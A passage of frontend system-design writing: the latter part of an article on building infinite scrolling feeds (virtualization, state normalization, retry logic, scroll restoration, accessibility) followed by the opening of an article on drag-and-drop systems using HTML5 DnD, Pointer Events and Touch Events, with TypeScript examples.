**Mitigating scroll jumps:**

1. Increase overscan buffer above viewport
2. Use `defaultItemHeight` based on most common content type
3. Maintain anchor item during layout shifts

### Library Comparison

| Library              | Bundle | Variable Heights | Infinite Scroll | Framework |
| -------------------- | ------ | ---------------- | --------------- | --------- |
| react-window         | 6KB    | Manual           | Addon needed    | React     |
| react-virtuoso       | 15KB   | Automatic        | Built-in        | React     |
| @tanstack/virtual    | 5KB    | Manual           | Examples        | Any       |
| vue-virtual-scroller | 12KB   | Automatic        | Built-in        | Vue       |

**react-window**: Smallest bundle, best for fixed heights. Requires `react-window-infinite-loader` for pagination.

**react-virtuoso**: Handles variable heights automatically, built-in infinite scroll, better scroll-to accuracy. Worth the 15KB for complex feeds.

**@tanstack/virtual**: Headless, framework-agnostic. Most flexible but requires more setup code.

## State Management

### Normalized vs Denormalized Storage

**Denormalized** (simple, nested):

```typescript
{
  pages: [
    { items: [{ id: "1", author: { id: "a", name: "Alice" } }] },
    { items: [{ id: "2", author: { id: "a", name: "Alice" } }] },
  ]
}
```

**Normalized** (database-style):

```typescript
{
  items: {
    byId: { '1': { id: '1', authorId: 'a' }, '2': { id: '2', authorId: 'a' } },
    allIds: ['1', '2']
  },
  authors: {
    byId: { 'a': { id: 'a', name: 'Alice' } }
  },
  feed: { itemIds: ['1', '2'], nextCursor: 'xyz' }
}
```

**Why normalize:**

1. No duplicate data (author stored once)
2. O(1) lookup by ID
3. Single update point (change author name in one place)
4. Shallow equality checks work for memoization

**When to normalize**: Always consider it when entities have relationships or appear multiple times (authors, tags, referenced posts).

### Memory Management

Large feeds accumulate memory. Strategies:

**Page limiting** (TanStack Query):

```typescript
useInfiniteQuery({
  queryKey: ["feed"],
  queryFn: fetchPage,
  maxPages: 5, // Keep only 5 pages
  getNextPageParam: (last) => last.nextCursor,
  getPreviousPageParam: (first) => first.prevCursor,
})
```

When user scrolls beyond 5 pages, oldest page is evicted. Scrolling back triggers refetch.

**Tombstoning**: Replace off-screen item data with placeholders:

```typescript
function maybeEvictItem(item: FeedItem, isVisible: boolean): FeedItem | Tombstone {
  if (!isVisible && item.mediaUrls?.length) {
    return { id: item.id, tombstoned: true }
  }
  return item
}
```

**IndexedDB offloading**: For extremely long sessions, persist old pages to browser storage and reload on demand.

## Feed Refresh Patterns

### New Item Indicators

Never auto-scroll users. Show a banner and let them choose:

```typescript collapse={1-5}
import { useState, useCallback } from 'react';

type FeedItem = { id: string };
type NewItemsBannerProps = { count: number; onShow: () => void };

function Feed() {
  const [newItemIds, setNewItemIds] = useState<string[]>([]);

  // Poll or WebSocket for new items
  useEffect(() => {
    const interval = setInterval(async () => {
      const latestId = items[0]?.id;
      const newItems = await checkForNewItems(latestId);
      if (newItems.length) {
        setNewItemIds((prev) => [...newItems.map((i) => i.id), ...prev]);
      }
    }, 30000);
    return () => clearInterval(interval);
  }, [items]);

  const showNewItems = useCallback(() => {
    prependItems(newItemIds);
    scrollToTop();
    setNewItemIds([]);
  }, [newItemIds]);

  return (
    <>
      {newItemIds.length > 0 && (
        <button className="new-items-banner" onClick={showNewItems}>
          {newItemIds.length} new posts
        </button>
      )}
      <FeedList items={items} />
    </>
  );
}
```

### Pull-to-Refresh

Web has no native pull-to-refresh. Implementation requires:

1. Detecting touch start at scroll position 0
2. Tracking pull distance
3. Preventing browser's native overscroll

```typescript collapse={1-4}
import { useRef, useState, TouchEvent } from "react"

type PullState = "idle" | "pulling" | "refreshing"

function usePullToRefresh(onRefresh: () => Promise<void>) {
  const [state, setState] = useState<PullState>("idle")
  const [pullDistance, setPullDistance] = useState(0)
  const startY = useRef(0)

  const handleTouchStart = (e: TouchEvent) => {
    if (window.scrollY === 0) {
      startY.current = e.touches[0].pageY
      setState("pulling")
    }
  }

  const handleTouchMove = (e: TouchEvent) => {
    if (state !== "pulling") return
    const distance = e.touches[0].pageY - startY.current
    setPullDistance(Math.max(0, Math.min(distance, 150)))
  }

  const handleTouchEnd = async () => {
    if (pullDistance > 100) {
      setState("refreshing")
      await onRefresh()
    }
    setState("idle")
    setPullDistance(0)
  }

  return { state, pullDistance, handleTouchStart, handleTouchMove, handleTouchEnd }
}
```

**CSS to prevent browser refresh:**

```css
body {
  overscroll-behavior-y: contain;
}
```

### Gap Detection

Scenario: User paused at page 5. New items arrived at page 1. Pages 2-4 now have "gaps" in the timeline.

**Detection:**

```typescript
function detectGap(pages: Page[]): { gapAfterPage: number; cursor: string } | null {
  for (let i = 1; i < pages.length; i++) {
    const prevEnd = pages[i - 1].endCursor
    const currStart = pages[i].startCursor
    if (prevEnd !== currStart) {
      return { gapAfterPage: i - 1, cursor: prevEnd }
    }
  }
  return null
}
```

**Strategies:**

- **Lazy fill**: Fetch gap when user scrolls to it
- **Background fill**: Silently fetch during idle
- **Invalidate**: Reset to fresh state (simplest)

## Error Handling

### Retry with Exponential Backoff

```typescript
function calculateDelay(attempt: number): number {
  const baseDelay = 100
  const maxDelay = 30000
  const exponential = baseDelay * Math.pow(2, attempt)
  const jitter = Math.random() * 1000
  return Math.min(exponential + jitter, maxDelay)
}

// Delays: ~100ms, ~200ms, ~400ms, ~800ms... up to 30s
```

**Jitter** prevents thundering herd when many clients retry simultaneously.

**Which errors to retry:**

- ✅ 408 Request Timeout
- ✅ 429 Too Many Requests
- ✅ 500, 502, 503, 504 Server Errors
- ✅ Network failures
- ❌ 400 Bad Request
- ❌ 401, 403 Auth errors
- ❌ 404 Not Found

### Inline Error Recovery

```typescript collapse={1-5}
type FeedState =
  | { status: 'loading' }
  | { status: 'error'; error: Error; retryCount: number }
  | { status: 'success' };

function FeedWithErrorBoundary() {
  const { data, error, refetch, isError, failureCount } = useInfiniteQuery({
    queryKey: ['feed'],
    queryFn: fetchPage,
    retry: 3,
    retryDelay: (attempt) => calculateDelay(attempt),
  });

  if (isError) {
    return (
      <div role="alert">
        <p>Failed to load feed: {error.message}</p>
        <button onClick={() => refetch()}>
          Retry ({failureCount}/3 attempts)
        </button>
      </div>
    );
  }

  return <FeedList pages={data?.pages ?? []} />;
}
```

### Stale-While-Revalidate

Show cached content immediately, fetch fresh in background:

```typescript
const { data, isStale, isFetching } = useInfiniteQuery({
  queryKey: ['feed'],
  queryFn: fetchPage,
  staleTime: 60 * 1000,        // Fresh for 1 minute
  gcTime: 5 * 60 * 1000,       // Keep in cache for 5 minutes
  refetchOnWindowFocus: true,
  refetchOnReconnect: true,
});

return (
  <>
    {isStale && isFetching && <RefreshingIndicator />}
    <FeedList pages={data?.pages ?? []} />
  </>
);
```

## Scroll Position Restoration

### Browser History Challenges

Single Page Applications (SPAs) break browser's native scroll restoration:

```typescript
// Disable browser's automatic (often wrong) restoration
if ("scrollRestoration" in history) {
  history.scrollRestoration = "manual"
}
```

**Browser inconsistencies:**

- Chrome: `popstate` fires before scroll restoration
- Firefox: Scroll event fires before `popstate`

### Session Storage Strategy

For infinite scroll, store enough information to reconstruct view:

```typescript collapse={1-5}
type ScrollState = {
  pageCount: number
  scrollY: number
  anchorItemId: string
  timestamp: number
}

function saveScrollState(key: string, state: ScrollState) {
  sessionStorage.setItem(key, JSON.stringify(state))
}

function restoreScrollState(key: string): ScrollState | null {
  const saved = sessionStorage.getItem(key)
  if (!saved) return null

  const state: ScrollState = JSON.parse(saved)

  // Expire after 5 minutes
  if (Date.now() - state.timestamp > 300000) {
    sessionStorage.removeItem(key)
    return null
  }

  return state
}

function useScrollRestoration(feedKey: string, setSize: (size: number) => void) {
  useEffect(() => {
    const state = restoreScrollState(feedKey)
    if (!state) return

    // Restore page count first
    setSize(state.pageCount)

    // Then scroll after render
    requestAnimationFrame(() => {
      window.scrollTo(0, state.scrollY)
      sessionStorage.removeItem(feedKey)
    })
  }, [feedKey, setSize])
}
```

### Virtualization Complications

Virtualized lists don't maintain DOM elements, breaking pixel-based restoration. Solutions:

1. **Index-based**: Store visible item index, use `scrollToIndex`
2. **Anchor-based**: Store anchor item ID, calculate offset after render
3. **Time-limited**: Only restore for recent navigations (<30 seconds)

```typescript
// TanStack Virtual scroll restoration
const virtualizer = useVirtualizer({
  count: items.length,
  getScrollElement: () => parentRef.current,
  estimateSize: () => 100,
})

useEffect(() => {
  const savedIndex = sessionStorage.getItem("lastVisibleIndex")
  if (savedIndex) {
    virtualizer.scrollToIndex(parseInt(savedIndex, 10), {
      align: "start",
      behavior: "auto",
    })
  }
}, [])
```

## Accessibility

### ARIA Feed Role

```html
<div role="feed" aria-busy="false" aria-label="News feed">
  <article role="article" aria-labelledby="post-1-title" aria-posinset="1" aria-setsize="-1" tabindex="0">
    <h2 id="post-1-title">Post Title</h2>
    <p>Post content...</p>
  </article>
  <!-- More articles -->
</div>
```

**Required attributes:**

- `aria-busy="true"` during loading
- `aria-setsize="-1"` when total unknown
- `aria-posinset` for position (1-indexed)
- `tabindex="0"` on each article for keyboard navigation

### Keyboard Navigation

```typescript
function handleFeedKeyDown(event: KeyboardEvent) {
  const current = document.activeElement?.closest('[role="article"]')
  if (!current) return

  switch (event.key) {
    case "ArrowDown":
    case "j":
      focusNextArticle(current)
      event.preventDefault()
      break
    case "ArrowUp":
    case "k":
      focusPreviousArticle(current)
      event.preventDefault()
      break
    case "Home":
      focusFirstArticle()
      event.preventDefault()
      break
    case "End":
      focusLastArticle()
      event.preventDefault()
      break
  }
}
```

### Accessibility Limitations

Infinite scroll is problematic for:

- **Keyboard users**: Cannot reach footer without tabbing through all items
- **Screen reader users**: Dynamic content loading is disorienting
- **Motor disability users**: Endless scrolling causes fatigue

**Mitigations:**

- Skip link to footer: `<a href="#footer" class="skip-link">Skip to footer</a>`
- "Load more" button alternative
- User preference toggle for infinite vs paginated
- Clear loading announcements via live regions

```html
<div role="status" aria-live="polite" class="visually-hidden">Loading more posts...</div>
```

## Browser Constraints

### Main Thread Budget

Scroll handlers that force synchronous layout steal from the 16.67ms frame budget:

```typescript
// Bad: Forces layout recalculation
element.style.width = "100px"
const height = element.offsetHeight // Forced reflow

// Good: Batch reads, then writes
const height = element.offsetHeight
element.style.width = "100px"
```

**Passive event listeners** allow browser to scroll without waiting for JavaScript:

```typescript
element.addEventListener("scroll", handler, { passive: true })
```

### requestIdleCallback for Non-Critical Work

```typescript
function processInBackground(items: Item[]) {
  let index = 0

  function processChunk(deadline: IdleDeadline) {
    while (deadline.timeRemaining() > 0 && index < items.length) {
      processItem(items[index])
      index++
    }

    if (index < items.length) {
      requestIdleCallback(processChunk)
    }
  }

  requestIdleCallback(processChunk, { timeout: 2000 })
}
```

**Safari fallback** (no native support):

```typescript
const requestIdleCallback =
  window.requestIdleCallback ||
  ((cb: IdleRequestCallback) => setTimeout(() => cb({ timeRemaining: () => 0 } as IdleDeadline), 1))
```

### Memory Monitoring

```typescript
function checkMemoryPressure(): boolean {
  if (!performance.memory) return false

  const { usedJSHeapSize, jsHeapSizeLimit } = performance.memory
  const usage = usedJSHeapSize / jsHeapSizeLimit

  if (usage > 0.8) {
    console.warn("High memory usage:", (usage * 100).toFixed(1) + "%")
    return true
  }
  return false
}

// Trigger cleanup when memory is high
if (checkMemoryPressure()) {
  trimOldPages()
}
```

## Real-World Implementations

### Twitter/X

**Pagination**: Cursor-based with opaque tokens. Cursors encode timeline position.

**Virtualization**: Custom implementation. Pre-renders ~12 items, maintains ~140 DOM nodes regardless of scroll depth.

**New tweets**: "Show X new posts" banner. Never auto-prepends.

**Gap handling**: Detects gaps when returning from background. Shows "Show N posts" inline to fill.

### Instagram

**Multi-tier caching**:

- Memory: LRU cache for current item + 3 next + 2 previous
- SQLite/IndexedDB: Post metadata for offline scrolling
- Network: Fetch on cache miss

**Prefetching**: Loads 3 items ahead based on scroll velocity.

**DOM management**: Items outside viewport are unmounted (not just hidden), keeping DOM under 150 nodes.

### LinkedIn

**Architecture**: FollowFeed system with two-pass ranking (FPR generates candidates, SPR scores for final order).

**Storage**: Timeline database optimized for recent activity. Kafka for event streaming, RocksDB for local state.

**Performance**: Caffeine cache for hot data, Galene for personalization.

## Conclusion

Effective infinite feed design requires coordinating three layers:

1. **Backend**: Cursor-based pagination with compound cursors for stable traversal
2. **Detection**: Intersection Observer with adaptive rootMargin based on conditions
3. **Rendering**: Virtualization when items exceed 100, with careful memory management

The key decisions are:

- **Pagination**: Cursor-based with opaque, signed tokens
- **Detection**: Intersection Observer over scroll events
- **Virtualization**: Required beyond ~100 items; react-virtuoso for variable heights
- **New content**: Banner pattern, never auto-scroll
- **Accessibility**: Provide "Load more" alternative and keyboard navigation

For most feeds, TanStack Query's `useInfiniteQuery` with react-virtuoso handles the complexity. Start there before building custom solutions.

## Appendix

### Prerequisites

- Browser APIs: Intersection Observer, AbortController, requestIdleCallback
- React hooks or equivalent framework patterns
- HTTP caching concepts (stale-while-revalidate)
- Basic accessibility knowledge (ARIA roles)

### Terminology

- **Cursor**: Opaque token encoding position in a paginated dataset
- **Keyset pagination**: Cursor implementation using row value comparisons
- **Virtualization**: Rendering only visible items while maintaining scroll illusion
- **Overscan**: Extra items rendered above/below viewport for smooth scrolling
- **Tombstone**: Placeholder replacing evicted content to preserve layout
- **Sentinel**: Invisible element observed to trigger pagination
- **SWR**: Stale-While-Revalidate caching pattern

### Summary

- Cursor-based pagination provides stable traversal immune to insertions/deletions
- Intersection Observer detects scroll position without blocking main thread
- Virtualization bounds DOM nodes to O(viewport) regardless of total items
- Memory management (page limits, tombstoning) prevents crashes in long sessions
- New content via banner respects user attention; never auto-scroll
- Scroll restoration requires storing page count and anchor item, not just scroll position
- `role="feed"` with keyboard navigation and "Load more" fallback for accessibility

### References

- [MDN: Intersection Observer API](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API) - Browser API documentation
- [TanStack Query: Infinite Queries](https://tanstack.com/query/latest/docs/framework/react/guides/infinite-queries) - React implementation patterns
- [Cursor Pagination Deep Dive](https://www.milanjovanovic.tech/blog/understanding-cursor-pagination-and-why-its-so-fast-deep-dive) - Why cursor beats offset
- [W3C: ARIA Feed Pattern](https://www.w3.org/WAI/ARIA/apg/patterns/feed/) - Accessibility requirements
- [Deque: Infinite Scroll Accessibility Issues](https://www.deque.com/blog/infinite-scrolling-rolefeed-accessibility-issues/) - Screen reader challenges
- [web.dev: Stale-While-Revalidate](https://web.dev/articles/stale-while-revalidate) - Caching pattern explanation
- [Chrome: requestIdleCallback](https://developer.chrome.com/blog/using-requestidlecallback) - Background processing API
- [LinkedIn Engineering: Feed Infrastructure](https://engineering.linkedin.com/teams/data/data-infrastructure/feed-infrastructure) - Production architecture
- [Redux: Normalizing State Shape](https://redux.js.org/usage/structuring-reducers/normalizing-state-shape) - State management patterns

---

## Design a Drag and Drop System

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/design-drag-drop-system
**Category:** System Design / Frontend System Design
**Description:** Building drag and drop interactions that work across input devices, handle complex reordering scenarios, and maintain accessibility—the browser APIs, architectural patterns, and trade-offs that power production implementations in Trello, Notion, and Figma.Drag and drop appears simple: grab an element, move it, release it. In practice, it requires handling three incompatible input APIs (mouse, touch, pointer), working around significant browser inconsistencies in the HTML5 Drag and Drop API, providing keyboard alternatives for accessibility, and managing visual feedback during the operation. This article covers the underlying browser APIs, the design decisions that differentiate library approaches, and how production applications solve these problems at scale.

# Design a Drag and Drop System

Building drag and drop interactions that work across input devices, handle complex reordering scenarios, and maintain accessibility—the browser APIs, architectural patterns, and trade-offs that power production implementations in Trello, Notion, and Figma.

Drag and drop appears simple: grab an element, move it, release it. In practice, it requires handling three incompatible input APIs (mouse, touch, pointer), working around significant browser inconsistencies in the HTML5 Drag and Drop API, providing keyboard alternatives for accessibility, and managing visual feedback during the operation. This article covers the underlying browser APIs, the design decisions that differentiate library approaches, and how production applications solve these problems at scale.

<figure>

![Drag and drop system architecture: multiple input sources feed into a unified sensor layer, which manages drag state, tracks drop targets, and coordinates visual feedback.](./drag-and-drop-system-architecture-multiple-input-sources-feed-into-a-unified-sen.svg)

<figcaption>Drag and drop system architecture: multiple input sources feed into a unified sensor layer, which manages drag state, tracks drop targets, and coordinates visual feedback.</figcaption>
</figure>

## Abstract

Drag and drop systems must unify three input models while providing accessible alternatives. The core mental model:

- **Native HTML5 DnD has critical limitations**: The API works for mouse input but doesn't fire drag events for touch screens. DataTransfer timing varies by browser. Cross-browser inconsistencies make raw API usage impractical for production.

- **Pointer Events unify input devices**: The W3C Pointer Events API provides hardware-agnostic input handling for mouse, touch, and pen. Modern libraries (dnd-kit, Pragmatic) build on Pointer Events rather than native DnD.

- **Accessibility requires keyboard alternatives**: WCAG 2.5.7 mandates that all drag functionality must be achievable without dragging. This means Enter to grab, Tab to navigate targets, Enter to drop—not optional progressive enhancement.

- **Two architectural approaches dominate**: Native API wrappers (react-dnd, Sortable.js) abstract browser quirks. Custom implementations (dnd-kit, Pragmatic) ignore native DnD entirely, building from Pointer Events for consistent behavior.

| Approach              | Browser API                       | Touch Support           | Accessibility | Bundle Size |
| --------------------- | --------------------------------- | ----------------------- | ------------- | ----------- |
| Native DnD wrapper    | HTML5 DnD + Touch backend         | Requires second backend | Manual        | Small core  |
| Custom Pointer Events | Pointer Events                    | Built-in                | Built-in      | Larger      |
| Hybrid                | HTML5 DnD desktop, Pointer mobile | Yes                     | Manual        | Medium      |

## The Challenge

### Browser API Fragmentation

The web has three overlapping APIs for pointer input, each with different capabilities and browser support.

**HTML5 Drag and Drop API** (WHATWG spec): Designed for mouse-based desktop interaction. Events: `dragstart`, `drag`, `dragenter`, `dragover`, `dragleave`, `drop`, `dragend`. The `DataTransfer` object carries data between drag source and drop target.

**Touch Events API** (W3C spec, now considered legacy): Designed for touchscreens. Events: `touchstart`, `touchmove`, `touchend`, `touchcancel`. Provides multi-touch support via `TouchList` collections.

**Pointer Events API** (W3C spec): Unified model for all pointing devices. Events mirror mouse events with `pointer` prefix. The `pointerType` property indicates device: `"mouse"`, `"touch"`, or `"pen"`.

**The fundamental problem**: HTML5 Drag and Drop events never fire for touch input. Chrome, Firefox, and Safari all require a mouse to initiate native drag operations. Touch users get nothing without additional implementation.

### HTML5 DnD API Quirks

The native API has behavior differences that break cross-browser implementations:

**DataTransfer timing restrictions**:

- `setData()` only works in `dragstart`. Calling it in any other event silently fails.
- `getData()` returns empty string during `dragover` in Chrome/Safari—only readable on `drop`.
- Firefox allows reading data during drag, but relying on this breaks other browsers.

**Event sequencing differs**:

- Chrome/Safari: fire `dragend` then `drop`
- Firefox: fire `drop` then `dragend`

**Drag image requirements**:

- Firefox accepts any DOM element for `setDragImage()`
- Chrome requires the element to be in the DOM and visible (even if off-screen)
- Safari requires specific CSS to prevent default image generation

```typescript collapse={1-3, 20-25}
// Setting up native drag with workarounds
interface DragSourceOptions {
  element: HTMLElement
  data: Record<string, string>
  dragImage?: HTMLElement
}

function setupNativeDrag({ element, data, dragImage }: DragSourceOptions): void {
  element.draggable = true

  element.addEventListener("dragstart", (e) => {
    // Must set data in dragstart - only chance
    Object.entries(data).forEach(([type, value]) => {
      e.dataTransfer?.setData(type, value)
    })

    // Chrome requires element in DOM for custom drag image
    if (dragImage) {
      document.body.appendChild(dragImage)
      dragImage.style.position = "absolute"
      dragImage.style.left = "-9999px"
      e.dataTransfer?.setDragImage(dragImage, 0, 0)
      // Clean up after browser captures image
      requestAnimationFrame(() => dragImage.remove())
    }
  })
}
```

**Drop target acceptance**: Drop targets must call `preventDefault()` in both `dragenter` and `dragover` to signal they accept drops. Missing either causes the browser to reject the drop.

### Touch Challenges

Touch interaction differs fundamentally from mouse:

**No hover state**: Touch has no equivalent to `mouseover`. Drag preview must follow the finger, not appear on hover.

**Scroll conflicts**: Touch movement is overloaded—it scrolls by default. Drag operations must prevent scrolling while allowing intentional scrolls.

**Gesture disambiguation**: Is this touch a tap, a scroll, or a drag? Activation delays or distance thresholds help distinguish intent.

**Multi-touch complexity**: What happens when a second finger touches during a drag? Most implementations ignore additional touches; some support multi-select.

### Accessibility Requirements

WCAG 2.5.7 (Dragging Movements) requires non-dragging alternatives:

> "All functionality that uses a dragging movement for operation can be achieved by a single pointer without dragging, unless dragging is essential, or the functionality is determined by the user agent and not modified by the author."

**Why dragging is problematic**:

- Users with motor impairments may not be able to hold and move simultaneously
- Head pointers, eye-gaze systems, and trackballs make dragging difficult or impossible
- Screen reader users cannot perceive spatial relationships

**Acceptable alternatives**:

- Keyboard: Enter to grab, Tab between targets, Enter to drop
- Click-based: Click item, click destination
- Menu-based: Right-click/long-press for move menu
- Button-based: Up/down arrows for list reordering

### Scale Factors

The right drag-drop approach depends on use case complexity:

| Factor      | Simple          | Complex                  |
| ----------- | --------------- | ------------------------ |
| Items       | < 20 sortable   | 1000+ virtualized        |
| Containers  | Single list     | Multiple connected lists |
| Drop zones  | Item positions  | Nested hierarchies       |
| Constraints | Any position    | Rules-based acceptance   |
| Feedback    | Basic indicator | Rich preview, animations |

## Browser APIs Deep Dive

### HTML5 Drag and Drop

The native API provides drag operations with OS-level integration—dragging files from desktop, cross-tab dragging, and native drag previews.

**Event sequence for successful drop**:

```
dragstart (source) → drag (source, repeating) →
dragenter (target) → dragover (target, repeating) →
drop (target) → dragend (source)
```

**DataTransfer security model**: The spec protects sensitive data during drag. During `dragover`, scripts can see data types (`dataTransfer.types`) but not values. This prevents malicious pages from reading clipboard data during drag-over.

```typescript collapse={1-5, 35-45}
// Complete native drag implementation
function createDragSource(element: HTMLElement, itemId: string): void {
  element.draggable = true

  element.addEventListener("dragstart", (e) => {
    e.dataTransfer!.effectAllowed = "move"
    e.dataTransfer!.setData("application/x-item-id", itemId)
    e.dataTransfer!.setData("text/plain", itemId) // Fallback for external drops

    element.classList.add("dragging")
  })

  element.addEventListener("dragend", () => {
    element.classList.remove("dragging")
  })
}

function createDropTarget(element: HTMLElement, onDrop: (itemId: string, position: "before" | "after") => void): void {
  element.addEventListener("dragenter", (e) => {
    e.preventDefault() // Required to allow drop
    element.classList.add("drop-target")
  })

  element.addEventListener("dragover", (e) => {
    e.preventDefault() // Required for every dragover
    e.dataTransfer!.dropEffect = "move"
  })

  element.addEventListener("dragleave", () => {
    element.classList.remove("drop-target")
  })

  element.addEventListener("drop", (e) => {
    e.preventDefault()
    const itemId = e.dataTransfer!.getData("application/x-item-id")
    const rect = element.getBoundingClientRect()
    const position = e.clientY < rect.top + rect.height / 2 ? "before" : "after"
    onDrop(itemId, position)
    element.classList.remove("drop-target")
  })
}
```

**Effect feedback**: `effectAllowed` (source) and `dropEffect` (target) communicate what operations are valid:

| effectAllowed | dropEffect | Result           |
| ------------- | ---------- | ---------------- |
| `move`        | `move`     | Move icon cursor |
| `copy`        | `copy`     | Plus icon cursor |
| `link`        | `link`     | Link icon cursor |
| `all`         | any        | Target chooses   |
| `none`        | -          | No drop allowed  |

### Pointer Events

Pointer Events (W3C Recommendation) provide a unified input model. A pointer is "any point of contact on the screen made by a mouse cursor, pen, touch, or other pointing input device."

**Key properties beyond mouse events**:

| Property          | Type    | Description                              |
| ----------------- | ------- | ---------------------------------------- |
| `pointerId`       | number  | Unique ID for multi-pointer tracking     |
| `pointerType`     | string  | `"mouse"`, `"pen"`, `"touch"`, or empty  |
| `isPrimary`       | boolean | Is this the primary pointer of its type? |
| `pressure`        | number  | 0-1, normalized pressure                 |
| `width`, `height` | number  | Contact geometry in CSS pixels           |
| `tiltX`, `tiltY`  | number  | Pen angle, -90 to 90 degrees             |

**Pointer capture**: Redirect all pointer events to a specific element, even when pointer moves outside. Critical for drag operations.

```typescript collapse={1-5, 40-50}
// Pointer Events drag implementation
interface PointerDragState {
  pointerId: number
  startX: number
  startY: number
  currentX: number
  currentY: number
  element: HTMLElement
}

let dragState: PointerDragState | null = null

function setupPointerDrag(element: HTMLElement): void {
  element.addEventListener("pointerdown", (e) => {
    // Only handle primary pointer
    if (!e.isPrimary) return

    // Capture pointer to receive events even outside element
    element.setPointerCapture(e.pointerId)

    dragState = {
      pointerId: e.pointerId,
      startX: e.clientX,
      startY: e.clientY,
      currentX: e.clientX,
      currentY: e.clientY,
      element,
    }

    element.classList.add("dragging")
  })

  element.addEventListener("pointermove", (e) => {
    if (!dragState || e.pointerId !== dragState.pointerId) return

    dragState.currentX = e.clientX
    dragState.currentY = e.clientY

    // Update visual position
    const deltaX = dragState.currentX - dragState.startX
    const deltaY = dragState.currentY - dragState.startY
    element.style.transform = `translate(${deltaX}px, ${deltaY}px)`
  })

  element.addEventListener("pointerup", (e) => {
    if (!dragState || e.pointerId !== dragState.pointerId) return

    element.releasePointerCapture(e.pointerId)
    element.classList.remove("dragging")
    element.style.transform = ""

    // Determine drop target at final position
    const dropTarget = document.elementFromPoint(e.clientX, e.clientY)
    // Handle drop logic...

    dragState = null
  })

  // Cancel on pointer lost (e.g., touch cancelled by palm rejection)
  element.addEventListener("pointercancel", (e) => {
    if (!dragState || e.pointerId !== dragState.pointerId) return

    element.releasePointerCapture(e.pointerId)
    element.classList.remove("dragging")
    element.style.transform = ""
    dragState = null
  })
}
```

**Touch-action CSS**: Control which touch gestures the browser handles vs. your code.

```css
.draggable {
  /* Disable browser touch handling - we'll manage it */
  touch-action: none;
}

.scrollable-container {
  /* Allow vertical scroll, we handle horizontal drag */
  touch-action: pan-y;
}
```

### Touch Events (Legacy)

Touch Events remain relevant for multi-touch scenarios and older browser support, though Pointer Events are preferred for new implementations.

**TouchList collections**:

- `touches`: All current touch points on screen
- `targetTouches`: Touch points on the event target element
- `changedTouches`: Touch points that changed in this event

```typescript collapse={1-3, 30-40}
// Touch-based drag with scroll prevention
function setupTouchDrag(element: HTMLElement): void {
  let startTouch: Touch | null = null

  element.addEventListener(
    "touchstart",
    (e) => {
      // Use first touch only
      if (e.touches.length !== 1) return
      startTouch = e.touches[0]

      element.classList.add("dragging")
    },
    { passive: false },
  )

  element.addEventListener(
    "touchmove",
    (e) => {
      if (!startTouch) return

      // Prevent scrolling during drag
      e.preventDefault()

      const touch = e.touches[0]
      const deltaX = touch.clientX - startTouch.clientX
      const deltaY = touch.clientY - startTouch.clientY

      element.style.transform = `translate(${deltaX}px, ${deltaY}px)`
    },
    { passive: false },
  ) // Must be non-passive to preventDefault

  element.addEventListener("touchend", (e) => {
    if (!startTouch) return

    const touch = e.changedTouches[0]
    element.classList.remove("dragging")
    element.style.transform = ""

    // Find drop target
    const dropTarget = document.elementFromPoint(touch.clientX, touch.clientY)
    // Handle drop...

    startTouch = null
  })

  element.addEventListener("touchcancel", () => {
    element.classList.remove("dragging")
    element.style.transform = ""
    startTouch = null
  })
}
```

**Passive event listener caveat**: Touch event listeners are passive by default in modern browsers for scroll performance. To `preventDefault()` (required to prevent scrolling during drag), explicitly set `{ passive: false }`.

## Design Paths

### Path 1: Native HTML5 DnD with Touch Backend

**Architecture**: Use HTML5 Drag and Drop API for desktop, add separate touch event handling for mobile.

```
Desktop: element → dragstart/dragover/drop → DataTransfer → drop handler
Mobile:  element → touchstart/touchmove/touchend → custom state → drop handler
```

**How it works**:

1. Set `draggable="true"` on elements
2. Handle native drag events for mouse interaction
3. Detect touch devices and add touch event listeners
4. Maintain unified drop target registry for both paths

**Best for**:

- Cross-tab or cross-window dragging (only native DnD supports this)
- File drops from desktop
- Simple list reordering with existing touch library

**Implementation complexity**:

| Aspect                 | Effort                    |
| ---------------------- | ------------------------- |
| Initial setup          | Medium                    |
| Touch support          | High (separate code path) |
| Keyboard accessibility | High (manual)             |
| Cross-browser testing  | High                      |

**Device/network profile**:

- Works well on: Desktop browsers, modern mobile with touch backend
- Struggles on: Complex nested drag targets, virtualized lists

**Trade-offs**:

- Pro: Native OS integration (cross-window drag, file drops)
- Pro: Browser-managed drag preview
- Con: Two code paths to maintain
- Con: DataTransfer quirks across browsers
- Con: No touch support without additional library

**Real-world example**: **Sortable.js** uses this approach. Provides reorderable lists with native DnD, includes touch support via adapter. ~7KB gzipped, no framework dependency.

### Path 2: Custom Pointer Events Implementation

**Architecture**: Bypass native DnD entirely. Build drag system on Pointer Events for consistent cross-device behavior.

```
pointerdown → capture → pointermove (throttled) → hit test drop targets → pointerup → commit
```

**How it works**:

1. Listen for `pointerdown` on draggable elements
2. Capture pointer to receive events outside element bounds
3. Track position via `pointermove`, update preview position
4. Hit-test drop targets using `document.elementFromPoint()`
5. Commit changes on `pointerup`

**Best for**:

- Consistent behavior across all input types
- Complex drag interactions (nested lists, kanban boards)
- Applications requiring fine-grained control

**Implementation complexity**:

| Aspect                 | Effort                                |
| ---------------------- | ------------------------------------- |
| Initial setup          | High                                  |
| Touch support          | Built-in (same code path)             |
| Keyboard accessibility | Medium (framework typically provides) |
| Cross-browser testing  | Low (consistent API)                  |

**Trade-offs**:

- Pro: Single code path for all devices
- Pro: Full control over drag preview and feedback
- Pro: No DataTransfer timing issues
- Con: No cross-window drag support
- Con: Must implement file drop separately
- Con: More code to write/maintain

**Real-world example**: **dnd-kit** uses this architecture. Sensors abstract input types—Pointer, Mouse, Touch, Keyboard. Built-in accessibility with keyboard navigation and screen reader announcements. ~15KB gzipped.

### Path 3: Hybrid with Library Abstraction

**Architecture**: Use library that abstracts backend differences. Declarative API, implementation details hidden.

```
<Draggable> → Library internals → Backend (HTML5/Touch/Keyboard) → <Droppable>
```

**How it works**:

1. Wrap draggable elements with library component/hook
2. Register drop targets with acceptance criteria
3. Library handles input detection and routes to appropriate backend
4. Render functions receive drag state for visual feedback

**Best for**:

- Teams wanting production-ready solution quickly
- Applications needing all features (keyboard, touch, mouse)
- Complex interactions without low-level concerns

**Implementation complexity**:

| Aspect                 | Effort                   |
| ---------------------- | ------------------------ |
| Initial setup          | Low                      |
| Touch support          | Built-in                 |
| Keyboard accessibility | Built-in or configurable |
| Cross-browser testing  | Low (library handles)    |

**Trade-offs**:

- Pro: Fastest time to production
- Pro: Maintained by community/company
- Pro: Accessibility often built-in
- Con: Bundle size overhead
